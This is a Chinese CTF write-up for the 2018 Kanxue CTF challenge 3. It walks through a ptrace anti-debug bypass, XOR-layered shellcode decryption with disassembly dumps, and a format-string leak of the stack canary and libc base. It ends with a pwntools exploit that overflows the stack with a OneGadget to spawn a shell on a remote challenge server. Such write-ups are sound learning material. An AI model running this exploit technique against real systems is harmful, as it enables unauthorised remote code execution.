-
-
[原创]2018看雪CTF第三题WP
-
2018-6-20 21:27 2522
-
migitation
ptrace占坑反调试
test函数中调用了ptrace
把welcome函数中调用test处nop掉就能用gdb调试了。
Shellcode
从这起,F5大法就不好用了,直接分析汇编
Tips1:
call $+5 pop rax
call指令把pop rax的地址压栈,随后又弹入rax中。动态获取当前的地址(还记得罗云彬的汇编书里说这是病毒常用的手段。。。)
Tips2:
mov rdx,xxx mov rdi,xxx mov rsi,xxx mov rax,xxx syscall
syscall为linux的系统调用,rax是功能号。
rdi,rsi,rdx对应着前三个参数。即为syscall(rdi,rsi,rdx)
Shellcode1
●syscall调mprotect把text段的读写执行属性都打开。(因为下面要动态解密)
●syscall调read读入6个字节。(后面可知这是6段shellcode解密的xor_key)。
●从下面相邻的代码出开始解密,取输入的第一个字节逐字节异或,当解密后遇到\x90时停止解密,跳入解密完成的代码。
穷举
最直接的想法是输出256种可能下的反汇编代码,人工判断是否合理,事实证明可行。
from pwn import * context.arch = 'amd64' with open('wow') as f: data = f.read() data = data[0x87F:0x900] with open('disambly','w') as f: for i in range(256): f.write('i=%d\n'%i) a = map(lambda c:chr(ord(c)^i),data) s = disasm(''.join(a)) if 'nop' in s and 'rax+rcx' in s: f.write(s) f.write('\n\n')
Shellcode2
shellcode2先把之前执行过的破坏掉(应该是为了防止我们后面利用这部分代码),然后利用输入的第二个字节异或解密并执行shellcode3。
穷举解密的套路相同,不再赘述。
Shellcode2-7
i=101 0: 48 8d 04 08 lea rax,[rax+rcx*1] 4: 48 2d 80 00 00 00 sub rax,0x80 a: 48 31 c9 xor rcx,rcx d: 8a 1c 08 mov bl,BYTE PTR [rax+rcx*1] 10: 30 d3 xor bl,dl 12: 88 1c 08 mov BYTE PTR [rax+rcx*1],bl 15: 48 ff c1 inc rcx 18: 48 83 f9 20 cmp rcx,0x20 1c: 7c ef jl 0xd 1e: 48 05 80 00 00 00 add rax,0x80 24: 48 31 c9 xor rcx,rcx 27: 8a 14 0e mov dl,BYTE PTR [rsi+rcx*1] 2a: 48 ff c6 inc rsi 2d: 32 14 0e xor dl,BYTE PTR [rsi+rcx*1] 30: 8a 1c 08 mov bl,BYTE PTR [rax+rcx*1] 33: 30 d3 xor bl,dl 35: 88 1c 08 mov BYTE PTR [rax+rcx*1],bl 38: 8a 74 08 ff mov dh,BYTE PTR [rax+rcx*1-0x1] 3c: 48 ff c1 inc rcx 3f: 80 fe fb cmp dh,0xfb 42: 74 ec je 0x30 44: 80 fb 90 cmp bl,0x90 47: 75 e7 jne 0x30 49: 90 nop i=19 0: 48 8d 04 08 lea rax,[rax+rcx*1] 4: 48 2d 80 00 00 00 sub rax,0x80 a: 48 31 c9 xor rcx,rcx d: 8a 1c 08 mov bl,BYTE PTR [rax+rcx*1] 10: 30 d3 xor bl,dl 12: 88 1c 08 mov BYTE PTR [rax+rcx*1],bl 15: 48 ff c1 inc rcx 18: 48 83 f9 20 cmp rcx,0x20 1c: 7c ef jl 0xd 1e: 48 05 80 00 00 00 add rax,0x80 24: 48 31 c9 xor rcx,rcx 27: 48 ff c6 inc rsi 2a: 32 14 0e xor dl,BYTE PTR [rsi+rcx*1] 2d: 8a 1c 08 mov bl,BYTE PTR [rax+rcx*1] 30: 30 d3 xor bl,dl 32: 88 1c 08 mov BYTE PTR [rax+rcx*1],bl 35: 8a 74 08 ff mov dh,BYTE PTR [rax+rcx*1-0x1] 39: 48 ff c1 inc rcx 3c: 80 fe fb cmp dh,0xfb 3f: 74 ec je 0x2d 41: 80 fb 90 cmp bl,0x90 44: 75 e7 jne 0x2d 46: 90 nop i=75 0: 48 8d 04 08 lea rax,[rax+rcx*1] 4: 48 2d 80 00 00 00 sub rax,0x80 a: 48 31 c9 xor rcx,rcx d: 8a 1c 08 mov bl,BYTE PTR [rax+rcx*1] 10: 30 d3 xor bl,dl 12: 88 1c 08 mov BYTE PTR [rax+rcx*1],bl 15: 48 ff c1 inc rcx 18: 48 83 f9 20 cmp rcx,0x20 1c: 7c ef jl 0xd 1e: 48 05 80 00 00 00 add rax,0x80 24: 48 31 c9 xor rcx,rcx 27: 48 ff c6 inc rsi 2a: 32 14 0e xor dl,BYTE PTR [rsi+rcx*1] 2d: 8a 1c 08 mov bl,BYTE PTR [rax+rcx*1] 30: 30 d3 xor bl,dl 32: 88 1c 08 mov BYTE PTR [rax+rcx*1],bl 35: 8a 74 08 ff mov dh,BYTE PTR [rax+rcx*1-0x1] 39: 48 ff c1 inc rcx 3c: 80 fe fb cmp dh,0xfb 3f: 74 ec je 0x2d 41: 80 fb 90 cmp bl,0x90 44: 75 e7 jne 0x2d 46: 90 nop i=37 0: 48 8d 04 08 lea rax,[rax+rcx*1] 4: 48 2d 80 00 00 00 sub rax,0x80 a: 48 31 c9 xor rcx,rcx d: 8a 1c 08 mov bl,BYTE PTR [rax+rcx*1] 10: 30 d3 xor bl,dl 12: 88 1c 08 mov BYTE PTR [rax+rcx*1],bl 15: 48 ff c1 inc rcx 18: 48 83 f9 20 cmp rcx,0x20 1c: 7c ef jl 0xd 1e: 48 05 80 00 00 00 add rax,0x80 24: 48 31 c9 xor rcx,rcx 27: 48 ff c6 inc rsi 2a: 32 14 0e xor dl,BYTE PTR [rsi+rcx*1] 2d: 8a 1c 08 mov bl,BYTE PTR [rax+rcx*1] 30: 30 d3 xor bl,dl 32: 88 1c 08 mov BYTE PTR [rax+rcx*1],bl 35: 8a 74 08 ff mov dh,BYTE PTR [rax+rcx*1-0x1] 39: 48 ff c1 inc rcx 3c: 80 fe fb cmp dh,0xfb 3f: 74 ec je 0x2d 41: 80 fb 90 cmp bl,0x90 44: 75 e7 jne 0x2d 46: 90 nop i=68 0: 48 8d 04 08 lea rax,[rax+rcx*1] 4: 48 2d 80 00 00 00 sub rax,0x80 a: 48 31 c9 xor rcx,rcx d: 8a 1c 08 mov bl,BYTE PTR [rax+rcx*1] 10: 30 d3 xor bl,dl 12: 88 1c 08 mov BYTE PTR [rax+rcx*1],bl 15: 48 ff c1 inc rcx 18: 48 83 f9 20 cmp rcx,0x20 1c: 7c ef jl 0xd 1e: 48 05 80 00 00 00 add rax,0x80 24: 48 31 c9 xor rcx,rcx 27: 48 ff c6 inc rsi 2a: 32 14 0e xor dl,BYTE PTR [rsi+rcx*1] 2d: 8a 1c 08 mov bl,BYTE PTR [rax+rcx*1] 30: 30 d3 xor bl,dl 32: 88 1c 08 mov BYTE PTR [rax+rcx*1],bl 35: 48 ff c1 inc rcx 38: 80 fb 90 cmp bl,0x90 3b: 75 f0 jne 0x2d 3d: 90 nop i=15 0: 48 8d 04 08 lea rax,[rax+rcx*1] 4: 48 2d c0 00 00 00 sub rax,0xc0 a: 48 31 c9 xor rcx,rcx d: 8a 1c 08 mov bl,BYTE PTR [rax+rcx*1] 10: 30 d3 xor bl,dl 12: 88 1c 08 mov BYTE PTR [rax+rcx*1],bl 15: 48 ff c1 inc rcx 18: 48 83 f9 20 cmp rcx,0x20 1c: 7c ef jl 0xd 1e: 48 c7 c0 01 00 00 00 mov rax,0x1 25: 48 c7 c2 05 00 00 00 mov rdx,0x5 2c: 48 8d 34 25 58 10 60 lea rsi,ds:0x601058 33: 00 34: 48 89 c7 mov rdi,rax 37: 0f 05 syscall //print('wow!') 39: bf 00 00 00 00 mov edi,0x0 3e: e8 b1 fb ff ff call 0xfffffffffffffbf4 //fflush() 43: 48 39 c0 cmp rax,rax 46: 75 12 jne 0x5a 48: e8 00 00 00 00 call 0x4d 4d: 58 pop rax 4e: 48 83 c0 07 add rax,0x7 52: ff e0 jmp rax 54: 48 31 c0 xor rax,rax 57: 48 c7 c2 1a 00 00 00 mov rdx,0x1a 5e: 48 89 e6 mov rsi,rsp 61: 48 89 24 25 88 10 60 mov QWORD PTR ds:0x601088,rsp 68: 00 69: 48 89 c7 mov rdi,rax 6c: 0f 05 syscall //read() 6e: 48 8b 05 37 06 20 00 mov rax,QWORD PTR [rip+0x200637] # 0x2006ac 75: 48 89 c7 mov rdi,rax 78: b8 00 00 00 00 mov eax,0x0 7d: e8 52 fb ff ff call 0xfffffffffffffbd4 //printf 82: 48 31 c0 xor rax,rax 85: 48 c7 c2 00 02 00 00 mov rdx,0x200 8c: 48 8d 74 24 e0 lea rsi,[rsp-0x20] 91: 48 89 c7 mov rdi,rax 94: 0f 05 syscall 96: 90 nop
最后一段shellcode中存在格式化字符串漏洞,输入"%13$p %15$p"会打印出栈上的数据。
第一个输出的是canary,保证接下来能构造栈溢出
第二个是返回地址。是libc函数__libc_start_main调用main函数压入栈中的,以此可以通过返回地址的后12位获取libc的版本,进而获取libc的基址。
栈溢出OneGadget
泄露出canary和libc基址后,用OneGadget覆盖原来的返回地址,执行完retn后就能GetShell!
EXP
from pwn import * #context.log_level = 'debug' p = remote('139.199.99.130',65188) #p = process('./wow1') bin = ELF('./wow1') #gdb.attach(p,'b *0x400a73') l = [101,19,75,37,68,15] pwd = '\x65' for i in range(5): c = chr(l[i]^l[i+1]) pwd += c p.recv() p.send(pwd) p.recv() p.send('%13$p %15$p') s = p.recv() l = s.split(' ') canary = int(l[0],16) libc_base = int(l[1],16) - 0x20830 print hex(canary) print hex(libc_base) payload = 'b'*0x58 + p64(canary) + 'a'*8 + p64(libc_base + 0x45216) p.send(payload) p.interactive()
GetShell
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界